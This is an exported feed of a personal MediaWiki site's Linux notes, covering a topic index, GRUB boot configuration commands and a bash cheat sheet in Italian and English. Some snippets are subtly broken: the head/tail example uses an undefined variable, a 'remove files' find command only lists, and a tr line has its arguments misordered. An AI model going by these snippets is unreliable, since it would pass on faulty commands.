* [[Mining]] ''my notes and mining experiments'' (use with care!!)&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== End Users Topics ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|width=&amp;quot;50%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
==== GNU/Linux distos ====&lt;br /&gt;
&lt;br /&gt;
* [[Debian]]&lt;br /&gt;
** [[Ubuntu]]&lt;br /&gt;
** [[UbuntuStudio]]&lt;br /&gt;
* [[Scientific Linux]]&lt;br /&gt;
** [[RedHat Enterprise Linux]]&lt;br /&gt;
** [[CentOS]]&lt;br /&gt;
&lt;br /&gt;
[[TabellaCaratteristicheDistribuzioni]]&lt;br /&gt;
&lt;br /&gt;
[http://www.gentoo.org/][[Image:Gentoo.png]]&lt;br /&gt;
&lt;br /&gt;
[http://www.ubuntu.org/] [[Image:ubuntuLogoSmall.png]]&lt;br /&gt;
&lt;br /&gt;
[http://www.kubuntu.org/] [[Image:kubuntuLogoSmall.jpg]]&lt;br /&gt;
&lt;br /&gt;
[https://www.scientificlinux.org][[Image:scientificlinux.gif]]&lt;br /&gt;
&lt;br /&gt;
[http://fedoraproject.org/][[Image:fedoraLogoSmall.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Programming/Scripting ===&lt;br /&gt;
* [[code analysis]] ''code analyzing software''&lt;br /&gt;
* [[BASH]]&lt;br /&gt;
* [[UML]]&lt;br /&gt;
* [[CSS]]&lt;br /&gt;
* [[PHP]]&lt;br /&gt;
* [[Javascript]]&lt;br /&gt;
* [[C]]&lt;br /&gt;
* [[SQL]]&lt;br /&gt;
* [[Curl]]&lt;br /&gt;
* [[Perl]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;50%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
===== Audio/Video =====&lt;br /&gt;
*'''[[Formati di Compressione]]'''&lt;br /&gt;
*'''[[KDEactions|Click destro in KDE]]''' ''right-click in KDE , how/t to implement''&lt;br /&gt;
*'''[[MPLAYER_MENCODER|Mplayer &amp;amp; Mencoder]]''' ''direct encoding commands from terminal (mplayer mencoder ffmpeg)''&lt;br /&gt;
*'''[[MIME Types]]''' ''associare tipi di file a programmi''&lt;br /&gt;
*'''[[Kino]]''' ''simple editing software (very simple for end user) ''&lt;br /&gt;
*'''[[Audacity]]''' ''Editing audio''&lt;br /&gt;
*'''[[skype]]''' ''Skype &amp;amp; VoIP''&lt;br /&gt;
*'''[[Kdenlive]]''' ''Montaggio multitraccia per linux''&lt;br /&gt;
*'''[[MediaSync]]''' ''framework di gestione materiale multimediale ''&lt;br /&gt;
*'''[http://videoteca.webhop.net/ MediaCutter ''(beta)'']'''&lt;br /&gt;
&lt;br /&gt;
===== Some Random Stuff =====&lt;br /&gt;
*'''[[converter|CAAP]]''' ''(Conversioni Automatizzate Asincrone in Parallelo) / batch system '''PBS''' ''&lt;br /&gt;
*'''[[DB|i database multimediali]]'''&lt;br /&gt;
*'''[[Kickstart]]''' ''Installazioni Automatizzate ''&lt;br /&gt;
*'''[[Procedimenti]]''' ''Raccolta di procedimenti''&lt;br /&gt;
*'''[[OpenVPN]]'''&lt;br /&gt;
*'''[[Safe Browsing]]''' ''collection of common or more sophisticated safe browsing tips''&lt;br /&gt;
*; Apple&lt;br /&gt;
**'''[[Mac]]''' ''OSx''&lt;br /&gt;
** '''[[MacDevices]]''' ''using Apple devices on linux''&lt;br /&gt;
**'''[[maclinux]]''' ''Linux su MacBook''&lt;br /&gt;
**'''[[once upon a time, there was an apple]]'''&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== The World Beyond IT==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|width=&amp;quot;30%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Robotics / Electronics ===&lt;br /&gt;
* [[Propulsori Stepper]]&lt;br /&gt;
* [[Porta Parallela]]&lt;br /&gt;
* [[Micro Controllori PIC]]&lt;br /&gt;
* [[Arduino]]&lt;br /&gt;
&lt;br /&gt;
=== Links: ===&lt;br /&gt;
&lt;br /&gt;
* http://foto.alessandrodelgallo.org  my photo gallery&lt;br /&gt;
* http://videoteeka.com my video gallery software ''(outdated)''&lt;br /&gt;
* http://www.youtube.com/user/porcelinux old YouTube channel&lt;br /&gt;
&lt;br /&gt;
* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]&lt;br /&gt;
* [http://www.mediawiki.org/wiki/Help:Formatting MediaWiki Help Formatting]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;30%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Languages ===&lt;br /&gt;
* [[Italiano]]&lt;br /&gt;
** a wonderful dictionary http://www.wordreference.com/&lt;br /&gt;
** dizionario etimologico: http://www.etimo.it/&lt;br /&gt;
** dizionario italiano http://www.demauro.it/&lt;br /&gt;
* [[Spangolo]]&lt;br /&gt;
* [[English]]&lt;br /&gt;
* [[Olandese]]&lt;br /&gt;
** [[living in the nederlands|Living in the Netherlands]]&lt;br /&gt;
* [[Deutsch]]&lt;br /&gt;
** [[Living in Germany]]&lt;br /&gt;
&lt;br /&gt;
*; [[Documicate]] what is [[documication]] ?&lt;br /&gt;
&lt;br /&gt;
* [[NienteNadaNothing]]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you liked this wiki and you want to donate, you can use the following Bitcoin or Litecoin addresses. Thank you&lt;br /&gt;
*;BTC : 1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk&lt;br /&gt;
*;LTC : LYbzJsCVmTynaK63CNMne89xKj961jFbWc&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=GRUB&amp;diff=6431</id>
		<title>GRUB</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=GRUB&amp;diff=6431"/>
		<updated>2024-12-21T11:24:17Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Grub 2 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Grub 2 =&lt;br /&gt;
* command that generates and prints out configuration:&lt;br /&gt;
 grub-mkconfig&lt;br /&gt;
* save configuration&lt;br /&gt;
 grub-mkconfig -o /boot/grub/grub.cfg&lt;br /&gt;
&lt;br /&gt;
* get OS's list of labels&lt;br /&gt;
 grep ^menuentry /boot/grub2/grub.cfg | cut -d &amp;quot;'&amp;quot; -f2&lt;br /&gt;
 Fedora&lt;br /&gt;
 Ubuntu 12.04.2 LTS (12.04)&lt;br /&gt;
 Gentoo Base System release 2.1&lt;br /&gt;
* show actual default entry&lt;br /&gt;
 grub2-editenv list&lt;br /&gt;
 saved_entry=Fedora Linux, with Linux 3.6.6-1.fc17.i686.PAE&lt;br /&gt;
* alter default entry&lt;br /&gt;
 grub2-set-default &amp;quot;Gentoo Base System release 2.1&amp;quot;&lt;br /&gt;
* check...&lt;br /&gt;
 grub2-editenv list&lt;br /&gt;
 saved_entry=Gentoo Base System release 2.1&lt;br /&gt;
&lt;br /&gt;
== Other Operative Systems disappeared ==&lt;br /&gt;
&lt;br /&gt;
From debian 12, an option in grub config will disable the scan for other OS's thus making impossible to boot from them. &lt;br /&gt;
how to fix:&lt;br /&gt;
* open the config&lt;br /&gt;
 vi /etc/default/grub&lt;br /&gt;
* un-comment or add this line:&lt;br /&gt;
 GRUB_DISABLE_OS_PROBER=false&lt;br /&gt;
* regenerate grub config:&lt;br /&gt;
 update-grub&lt;br /&gt;
&lt;br /&gt;
= Grub 1.X =&lt;br /&gt;
&lt;br /&gt;
[http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&amp;amp;chap=10 Link a una documentazione...]&lt;br /&gt;
&lt;br /&gt;
==== Installing GRUB in the Master Boot Record ====&lt;br /&gt;
&lt;br /&gt;
* Con ''grub-install''&lt;br /&gt;
 grub-install /dev/hda&lt;br /&gt;
o meglio... '''(se si sta installando il sistema)'''&lt;br /&gt;
 chroot /mnt/sysimage/&lt;br /&gt;
** con la directory boot sta nella /&lt;br /&gt;
 /sbin/grub-install --root-directory=/boot /dev/md1&lt;br /&gt;
** con la directory boot è una partizione&lt;br /&gt;
 /sbin/grub-install --root-directory=/ /dev/md0&lt;br /&gt;
&lt;br /&gt;
* find grub copies:&lt;br /&gt;
 grub&amp;gt; find /grub/stage1&lt;br /&gt;
* or...&lt;br /&gt;
 grub&amp;gt; find /boot/grub/stage1&lt;br /&gt;
&lt;br /&gt;
* ''grub'' (/usr/sbin/grub)&lt;br /&gt;
 grub&amp;gt; device (hd0) /dev/sdb (/dev/hdb for ide)&lt;br /&gt;
 grub&amp;gt; root (hd0,0)          (La partizione di boot, Disco 0 Partizione 0)&lt;br /&gt;
 grub&amp;gt; setup (hd0)           (Installa GRUB nel MBR)&lt;br /&gt;
 grub&amp;gt; quit                  (Esci dalla shell GRUB)&lt;br /&gt;
&lt;br /&gt;
==== Immagine sfondo grub ====&lt;br /&gt;
    1. xpm.gz file&lt;br /&gt;
    2. 640x480&lt;br /&gt;
    3. 14 colors&lt;br /&gt;
    4. copiare in /boot/grub&lt;br /&gt;
    5. gzip myfile.xpm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== VGA modes ====&lt;br /&gt;
 | 640x480 800x600 1024x768 1280x1024&lt;br /&gt;
 ----+-------------------------------------&lt;br /&gt;
 256 | 0x301 0x303 0x305 0x307&lt;br /&gt;
 32k | 0x310 0x313 0x316 0x319&lt;br /&gt;
 64k | 0x311 0x314 0x317 0x31A&lt;br /&gt;
 16M | 0x312 0x315 0x318 0x31B&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=BASH&amp;diff=6427</id>
		<title>BASH</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=BASH&amp;diff=6427"/>
		<updated>2024-08-09T02:44:50Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Files */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Programming-Languages]]&lt;br /&gt;
&lt;br /&gt;
*; Bourne Again SHell (Bash) And GNU&lt;br /&gt;
&lt;br /&gt;
== common shell commands ==&lt;br /&gt;
 tac::                             Reverse lines of files&lt;br /&gt;
 cat -n::                          Numbering lines&lt;br /&gt;
 cat -b::                          Numbering non-blank lines&lt;br /&gt;
 wc -c::                           Counting chars&lt;br /&gt;
 wc -w::                           Counting words&lt;br /&gt;
 wc -l::                           Counting lines&lt;br /&gt;
 head::                            Printing the first lines&lt;br /&gt;
 tail::                            Printing the last lines&lt;br /&gt;
 uniq::                            Make duplicate lines unique&lt;br /&gt;
 uniq -d::                         Print duplicated lines of input&lt;br /&gt;
 uniq -u::                         Remove all duplicated lines&lt;br /&gt;
 cat -s::                          Squeezing blank lines&lt;br /&gt;
&lt;br /&gt;
* Aliases&lt;br /&gt;
Un alias serve per associare a un comando una serie di comandi e parametri come segue:&lt;br /&gt;
 $ alias&lt;br /&gt;
 alias k1='kill -9 %1'&lt;br /&gt;
 alias l.='ls -d .* --color=tty'&lt;br /&gt;
 alias ll='ls -l --color=tty'&lt;br /&gt;
 alias ls='ls --color=tty'&lt;br /&gt;
 alias vi='vim'&lt;br /&gt;
 alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'&lt;br /&gt;
 alias zombie='ssh -X root@zombie'&lt;br /&gt;
&lt;br /&gt;
== grep ==&lt;br /&gt;
&lt;br /&gt;
* remove comments:  &lt;br /&gt;
 grep -vE '(^[[:space:]]*($|(#|!|;|//)))'&lt;br /&gt;
&lt;br /&gt;
== head / tail ==&lt;br /&gt;
&lt;br /&gt;
 a=/file_to_get_the_line_range_from&lt;br /&gt;
 start=30;&lt;br /&gt;
 stop=50;&lt;br /&gt;
 let dur=${stop}-${start};&lt;br /&gt;
 cat $a |head -${stop}|tail -${end}&lt;br /&gt;
&lt;br /&gt;
== cat ==&lt;br /&gt;
&lt;br /&gt;
* &amp;quot;to cat&amp;quot; a file means the action of opening the file in reading and outputting its contents to terminal.&lt;br /&gt;
&lt;br /&gt;
== tr ==&lt;br /&gt;
&lt;br /&gt;
* convert new line to spaces&lt;br /&gt;
 tr '\n' ' '&lt;br /&gt;
&lt;br /&gt;
* all lines in one&lt;br /&gt;
 tr '\n' -d&lt;br /&gt;
&lt;br /&gt;
== less ==&lt;br /&gt;
* less +F behaves like doing a &amp;quot;tail -f&amp;quot; but inside less&lt;br /&gt;
&lt;br /&gt;
== permissions ==&lt;br /&gt;
&lt;br /&gt;
* change only ''Directory'' permissions from current directory&lt;br /&gt;
 find . -type d -exec chmod 775 {} \;&lt;br /&gt;
&lt;br /&gt;
* change only ''File'' permissions from current directory.&lt;br /&gt;
 find . -type f -exec chmod 664 {} \;&lt;br /&gt;
&lt;br /&gt;
* add a user to a group (appending)&lt;br /&gt;
 usermod -a -G agroup auser&lt;br /&gt;
&lt;br /&gt;
* set sticky bit etc..&lt;br /&gt;
 chmod 4511 /usr/sbin/fping&lt;br /&gt;
 ls -l /usr/sbin/fping&lt;br /&gt;
 -r-s--x--x 1 root root 31360 Mar  8 11:27 /usr/sbin/fping&lt;br /&gt;
&lt;br /&gt;
* get groups for the user&lt;br /&gt;
 getent group &amp;lt;groupname&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Verification Commands:&lt;br /&gt;
&lt;br /&gt;
    pwck: verify integrity of password files&lt;br /&gt;
    grpck: verify integrity of group files&lt;br /&gt;
    Example: grpck /etc/group&lt;br /&gt;
&lt;br /&gt;
*User admin and other commands:&lt;br /&gt;
&lt;br /&gt;
    useradd: Create a new user or update default new user information&lt;br /&gt;
    usermod: Modify a user account&lt;br /&gt;
    userdel: Delete a user account and related files&lt;br /&gt;
    chage: change user password expiry information&lt;br /&gt;
    pwconv: convert to and from shadow pass- words and groups.&lt;br /&gt;
    pwunconv: convert to and from shadow pass- words and groups.&lt;br /&gt;
    grpconv: creates gshadow from group and an optionally existing gshadow&lt;br /&gt;
    grpunconv: creates group from group and gshadow and then removes gshadow&lt;br /&gt;
    accton: turns process accounting on or off (Red Hat/Fedora/CentOS)&lt;br /&gt;
    ac: Prints stats about users connect time (Red Hat/Fedora/CentOS)&lt;br /&gt;
&lt;br /&gt;
== recursive sort ==&lt;br /&gt;
&lt;br /&gt;
* linux:&lt;br /&gt;
 find . -type f -printf '%T@ %p\n' | sort -n | tail -1 | cut -f2- -d&amp;quot; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
* on BSD&lt;br /&gt;
 find . -type f -exec stat -f &amp;quot;%m %N&amp;quot; {} \; | sort -n | tail -1 | cut -f2- -d&amp;quot; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
* just find modified files before ONE day from now:&lt;br /&gt;
 find . -mtime -1&lt;br /&gt;
&lt;br /&gt;
== find ==&lt;br /&gt;
&lt;br /&gt;
* remove all files in the second nested directory matching the name to an md5 string&lt;br /&gt;
 find . -regextype posix-extended -mindepth 2 -maxdepth 2 -type d -regex '.*[a-f0-9]{32}'&lt;br /&gt;
&lt;br /&gt;
== duplicates ==&lt;br /&gt;
&lt;br /&gt;
=== Files ===&lt;br /&gt;
&lt;br /&gt;
 $ fdupes -rcHm /Volume&lt;br /&gt;
16583 duplicate files (in 16410 sets), occupying 51282.8 megabytes&lt;br /&gt;
 $ fdupes -rcHId /Volume&lt;br /&gt;
&lt;br /&gt;
=== Users ===&lt;br /&gt;
* user id &lt;br /&gt;
 getent passwd | cut -d: -f3 | sort -n | uniq -d&lt;br /&gt;
&lt;br /&gt;
* user name&lt;br /&gt;
 getent passwd | cut -d: -f1 | sort -n | uniq -d&lt;br /&gt;
&lt;br /&gt;
== size ==&lt;br /&gt;
&lt;br /&gt;
* list zero byte files &lt;br /&gt;
 find . -type f -size 0 | xargs ls -ld&lt;br /&gt;
&lt;br /&gt;
* rename all files and directories in current directory to first character-letter upper case ''&amp;quot;maiuscole&amp;quot;''&lt;br /&gt;
&lt;br /&gt;
 for a in *; do echo &amp;quot;$a&amp;quot;; mv &amp;quot;$a&amp;quot; &amp;quot;`echo &amp;quot;$a&amp;quot; | ruby -n -e 'puts $_.capitalize'`&amp;quot; ; done&lt;br /&gt;
&lt;br /&gt;
* list only directories&lt;br /&gt;
 ls -d */.&lt;br /&gt;
&lt;br /&gt;
== rename ==&lt;br /&gt;
&lt;br /&gt;
* rename all files in a directory replacing white space with underscore:&lt;br /&gt;
 rename ' ' '_' *&lt;br /&gt;
&lt;br /&gt;
* recursively...&lt;br /&gt;
find /tmp/ -depth -name &amp;quot;* *&amp;quot; -execdir rename 's/ /_/g' &amp;quot;{}&amp;quot; \;&lt;br /&gt;
&lt;br /&gt;
== Process id ==&lt;br /&gt;
&lt;br /&gt;
* current pid in a script&lt;br /&gt;
 $$&lt;br /&gt;
&lt;br /&gt;
== switch ==&lt;br /&gt;
 case expression in&lt;br /&gt;
    pattern1 )&lt;br /&gt;
        statements ;;&lt;br /&gt;
    ...&lt;br /&gt;
 esac&lt;br /&gt;
&lt;br /&gt;
== Redirection ==&lt;br /&gt;
&lt;br /&gt;
* redirecting standard output and standard error to a file:&lt;br /&gt;
 commando 2&amp;gt;&amp;amp;1 | tee /tmp/command_output.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
       # Redirige lo stderr allo stdout.&lt;br /&gt;
       # I messaggi d'errore vengono visualizzati a video, ma come stdout.&lt;br /&gt;
 &lt;br /&gt;
     i&amp;gt;&amp;amp;j&lt;br /&gt;
       #  Redirige il descrittore di file i in j.&lt;br /&gt;
       #  Tutti gli output del file puntato da i vengono inviati al file &lt;br /&gt;
       #+ puntato da j.&lt;br /&gt;
 &lt;br /&gt;
    &amp;gt;&amp;amp;j&lt;br /&gt;
      # Redirige, per default, il descrittore di file 1 (lo stdout) in j. 81       # Tutti gli stdout vengono inviati al file puntato da j.&lt;br /&gt;
&lt;br /&gt;
     0&amp;lt; NOMEFILE&lt;br /&gt;
      &amp;lt; NOMEFILE&lt;br /&gt;
       # Riceve l'input da un file.&lt;br /&gt;
       # È il compagno di &amp;quot;&amp;gt;&amp;quot; e vengono spesso usati insieme.&lt;br /&gt;
       #&lt;br /&gt;
       # grep parola-da-cercare &amp;lt;nomefile&lt;br /&gt;
 &lt;br /&gt;
    [j]&amp;lt;&amp;gt;nomefile&lt;br /&gt;
       #  Apre il file &amp;quot;nomefile&amp;quot; in lettura e scrittura, e gli assegna il&lt;br /&gt;
       #+ descrittore di file &amp;quot;j&amp;quot;.&lt;br /&gt;
       #  Se il file &amp;quot;nomefile&amp;quot; non esiste, lo crea.&lt;br /&gt;
       #  Se il descrittore di file &amp;quot;j&amp;quot; non viene specificato, si assume per &lt;br /&gt;
       #+ default il df 0, lo stdin.&lt;br /&gt;
       #&lt;br /&gt;
       #  Una sua applicazione è quella di scrivere in un punto specifico &lt;br /&gt;
       #+ all'interno di un file.&lt;br /&gt;
       echo 1234567890 &amp;gt; File    #  Scrive la stringa in &amp;quot;File&amp;quot;.&lt;br /&gt;
       exec 3&amp;lt;&amp;gt; File             #  Apre &amp;quot;File&amp;quot; e gli assegna il df 3.&lt;br /&gt;
       read -n 4 &amp;lt;&amp;amp;3             #  Legge solo 4 caratteri.&lt;br /&gt;
       echo -n . &amp;gt;&amp;amp;3             #  Scrive il punto decimale dopo i&lt;br /&gt;
                                 #+ caratteri letti.&lt;br /&gt;
       exec 3&amp;gt;&amp;amp;-                 #  Chiude il df 3.&lt;br /&gt;
       cat File                  #  ==&amp;gt; 1234.67890&lt;br /&gt;
       # È l'accesso casuale, diamine.&lt;br /&gt;
       # Pipe.&lt;br /&gt;
       # Strumento generico per concatenare processi e comandi.&lt;br /&gt;
       # Simile a &amp;quot;&amp;gt;&amp;quot;, ma con effetti più generali.&lt;br /&gt;
       # Utile per concatenare comandi, script, file e programmi.&lt;br /&gt;
       cat *.txt | sort | uniq &amp;gt; file-finale&lt;br /&gt;
       # Ordina gli output di tutti i file .txt e cancella le righe doppie,&lt;br /&gt;
       # infine salva il risultato in &amp;quot;file-finale&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Insert text at the end of a file (appending):&lt;br /&gt;
 echo &amp;quot;text at the end of file&amp;quot; &amp;gt;&amp;gt; filewhichweappendto.txt&lt;br /&gt;
* Insert text at the beginning of a file (prepending):&lt;br /&gt;
 echo &amp;quot;$(echo 'text that will be added as first line' | cat - filewhichweappendto.txt)&amp;quot; &amp;gt; filewhichweappendto.txt&lt;br /&gt;
or&lt;br /&gt;
 echo -e &amp;quot;text that will be added as first line\n$(cat filewhichweappendto.txt)&amp;quot; &amp;gt; filewhichweappendto.txt&lt;br /&gt;
or&lt;br /&gt;
 sed -i '1s/^/text that will be added as first line\n/' filewhichweappendto.txt&lt;br /&gt;
&lt;br /&gt;
== error messages ==&lt;br /&gt;
&lt;br /&gt;
=== &amp;quot;Insecure directory in $ENV{PATH}&amp;quot; ===&lt;br /&gt;
* I got this in a command running in a cron, '''''munin-cron'''''.&lt;br /&gt;
* solved adding&lt;br /&gt;
 PATH=/usr/bin:/bin&lt;br /&gt;
into&lt;br /&gt;
 /etc/cron.d/munin&lt;br /&gt;
* having there the full path for every script, path is not really needed, but required from perl scripts called from  munin plugins&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=BASH&amp;diff=6426</id>
		<title>BASH</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=BASH&amp;diff=6426"/>
		<updated>2024-08-08T23:10:25Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* duplicates */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Programming-Languages]]&lt;br /&gt;
&lt;br /&gt;
*; Bourne Again SHell (Bash) And GNU&lt;br /&gt;
&lt;br /&gt;
== common shell commands ==&lt;br /&gt;
 tac::                             Reverse lines of files&lt;br /&gt;
 cat -n::                          Numbering lines&lt;br /&gt;
 cat -b::                          Numbering non-blank lines&lt;br /&gt;
 wc -c::                           Counting chars&lt;br /&gt;
 wc -w::                           Counting words&lt;br /&gt;
 wc -l::                           Counting lines&lt;br /&gt;
 head::                            Printing the first lines&lt;br /&gt;
 tail::                            Printing the last lines&lt;br /&gt;
 uniq::                            Make duplicate lines unique&lt;br /&gt;
 uniq -d::                         Print duplicated lines of input&lt;br /&gt;
 uniq -u::                         Remove all duplicated lines&lt;br /&gt;
 cat -s::                          Squeezing blank lines&lt;br /&gt;
&lt;br /&gt;
* Aliases&lt;br /&gt;
Un alias serve per associare a un comando una serie di comandi e parametri come segue:&lt;br /&gt;
 $ alias&lt;br /&gt;
 alias k1='kill -9 %1'&lt;br /&gt;
 alias l.='ls -d .* --color=tty'&lt;br /&gt;
 alias ll='ls -l --color=tty'&lt;br /&gt;
 alias ls='ls --color=tty'&lt;br /&gt;
 alias vi='vim'&lt;br /&gt;
 alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'&lt;br /&gt;
 alias zombie='ssh -X root@zombie'&lt;br /&gt;
&lt;br /&gt;
== grep ==&lt;br /&gt;
&lt;br /&gt;
* remove comments:  &lt;br /&gt;
 grep -vE '(^[[:space:]]*($|(#|!|;|//)))'&lt;br /&gt;
&lt;br /&gt;
== head / tail ==&lt;br /&gt;
&lt;br /&gt;
 a=/file_to_get_the_line_range_from&lt;br /&gt;
 start=30;&lt;br /&gt;
 stop=50;&lt;br /&gt;
 let dur=${stop}-${start};&lt;br /&gt;
 cat $a |head -${stop}|tail -${end}&lt;br /&gt;
&lt;br /&gt;
== cat ==&lt;br /&gt;
&lt;br /&gt;
* &amp;quot;to cat&amp;quot; a file means the action of opening the file in reading and outputting its contents to terminal.&lt;br /&gt;
&lt;br /&gt;
== tr ==&lt;br /&gt;
&lt;br /&gt;
* convert new line to spaces&lt;br /&gt;
 tr '\n' ' '&lt;br /&gt;
&lt;br /&gt;
* all lines in one&lt;br /&gt;
 tr '\n' -d&lt;br /&gt;
&lt;br /&gt;
== less ==&lt;br /&gt;
* less +F behaves like doing a &amp;quot;tail -f&amp;quot; but inside less&lt;br /&gt;
&lt;br /&gt;
== permissions ==&lt;br /&gt;
&lt;br /&gt;
* change only ''Directory'' permissions from current directory&lt;br /&gt;
 find . -type d -exec chmod 775 {} \;&lt;br /&gt;
&lt;br /&gt;
* change only ''File'' permissions from current directory.&lt;br /&gt;
 find . -type f -exec chmod 664 {} \;&lt;br /&gt;
&lt;br /&gt;
* add a user to a group (appending)&lt;br /&gt;
 usermod -a -G agroup auser&lt;br /&gt;
&lt;br /&gt;
* set sticky bit etc..&lt;br /&gt;
 chmod 4511 /usr/sbin/fping&lt;br /&gt;
 ls -l /usr/sbin/fping&lt;br /&gt;
 -r-s--x--x 1 root root 31360 Mar  8 11:27 /usr/sbin/fping&lt;br /&gt;
&lt;br /&gt;
* get groups for the user&lt;br /&gt;
 getent group &amp;lt;groupname&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Verification Commands:&lt;br /&gt;
&lt;br /&gt;
    pwck: verify integrity of password files&lt;br /&gt;
    grpck: verify integrity of group files&lt;br /&gt;
    Example: grpck /etc/group&lt;br /&gt;
&lt;br /&gt;
*User admin and other commands:&lt;br /&gt;
&lt;br /&gt;
    useradd: Create a new user or update default new user information&lt;br /&gt;
    usermod: Modify a user account&lt;br /&gt;
    userdel: Delete a user account and related files&lt;br /&gt;
    chage: change user password expiry information&lt;br /&gt;
    pwconv: convert to and from shadow pass- words and groups.&lt;br /&gt;
    pwunconv: convert to and from shadow pass- words and groups.&lt;br /&gt;
    grpconv: creates gshadow from group and an optionally existing gshadow&lt;br /&gt;
    grpunconv: creates group from group and gshadow and then removes gshadow&lt;br /&gt;
    accton: turns process accounting on or off (Red Hat/Fedora/CentOS)&lt;br /&gt;
    ac: Prints stats about users connect time (Red Hat/Fedora/CentOS)&lt;br /&gt;
&lt;br /&gt;
== recursive sort ==&lt;br /&gt;
&lt;br /&gt;
* linux:&lt;br /&gt;
 find . -type f -printf '%T@ %p\n' | sort -n | tail -1 | cut -f2- -d&amp;quot; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
* on BSD&lt;br /&gt;
 find . -type f -exec stat -f &amp;quot;%m %N&amp;quot; {} \; | sort -n | tail -1 | cut -f2- -d&amp;quot; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
* just find modified files before ONE day from now:&lt;br /&gt;
 find . -mtime -1&lt;br /&gt;
&lt;br /&gt;
== find ==&lt;br /&gt;
&lt;br /&gt;
* remove all files in the second nested directory matching the name to an md5 string&lt;br /&gt;
 find . -regextype posix-extended -mindepth 2 -maxdepth 2 -type d -regex '.*[a-f0-9]{32}'&lt;br /&gt;
&lt;br /&gt;
== duplicates ==&lt;br /&gt;
&lt;br /&gt;
=== Files ===&lt;br /&gt;
&lt;br /&gt;
 $ fdupes -rcHm /Volume&lt;br /&gt;
16583 duplicate files (in 16410 sets), occupying 51282.8 megabytes&lt;br /&gt;
 $ fdupes -rcHI /Volume&lt;br /&gt;
&lt;br /&gt;
=== Users ===&lt;br /&gt;
* user id &lt;br /&gt;
 getent passwd | cut -d: -f3 | sort -n | uniq -d&lt;br /&gt;
&lt;br /&gt;
* user name&lt;br /&gt;
 getent passwd | cut -d: -f1 | sort -n | uniq -d&lt;br /&gt;
&lt;br /&gt;
== size ==&lt;br /&gt;
&lt;br /&gt;
* list zero byte files &lt;br /&gt;
 find . -type f -size 0 | xargs ls -ld&lt;br /&gt;
&lt;br /&gt;
* rename all files and directories in current directory to first character-letter upper case ''&amp;quot;maiuscole&amp;quot;''&lt;br /&gt;
&lt;br /&gt;
 for a in *; do echo &amp;quot;$a&amp;quot;; mv &amp;quot;$a&amp;quot; &amp;quot;`echo &amp;quot;$a&amp;quot; | ruby -n -e 'puts $_.capitalize'`&amp;quot; ; done&lt;br /&gt;
&lt;br /&gt;
* list only directories&lt;br /&gt;
 ls -d */.&lt;br /&gt;
&lt;br /&gt;
== rename ==&lt;br /&gt;
&lt;br /&gt;
* rename all files in a directory replacing white space with underscore:&lt;br /&gt;
 rename ' ' '_' *&lt;br /&gt;
&lt;br /&gt;
* recursively...&lt;br /&gt;
find /tmp/ -depth -name &amp;quot;* *&amp;quot; -execdir rename 's/ /_/g' &amp;quot;{}&amp;quot; \;&lt;br /&gt;
&lt;br /&gt;
== Process id ==&lt;br /&gt;
&lt;br /&gt;
* current pid in a script&lt;br /&gt;
 $$&lt;br /&gt;
&lt;br /&gt;
== switch ==&lt;br /&gt;
 case expression in&lt;br /&gt;
    pattern1 )&lt;br /&gt;
        statements ;;&lt;br /&gt;
    ...&lt;br /&gt;
 esac&lt;br /&gt;
&lt;br /&gt;
== Redirection ==&lt;br /&gt;
&lt;br /&gt;
* redirecting standard output and standard error to a file:&lt;br /&gt;
 commando 2&amp;gt;&amp;amp;1 | tee /tmp/command_output.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
       # Redirige lo stderr allo stdout.&lt;br /&gt;
       # I messaggi d'errore vengono visualizzati a video, ma come stdout.&lt;br /&gt;
 &lt;br /&gt;
     i&amp;gt;&amp;amp;j&lt;br /&gt;
